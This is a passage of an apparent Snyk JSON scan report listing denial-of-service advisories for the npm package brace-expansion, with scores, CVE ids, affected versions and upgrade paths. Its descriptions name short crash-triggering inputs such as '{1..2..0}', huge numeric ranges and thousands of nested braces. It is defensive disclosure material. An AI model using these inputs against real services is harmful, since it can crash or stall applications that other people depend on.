sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { 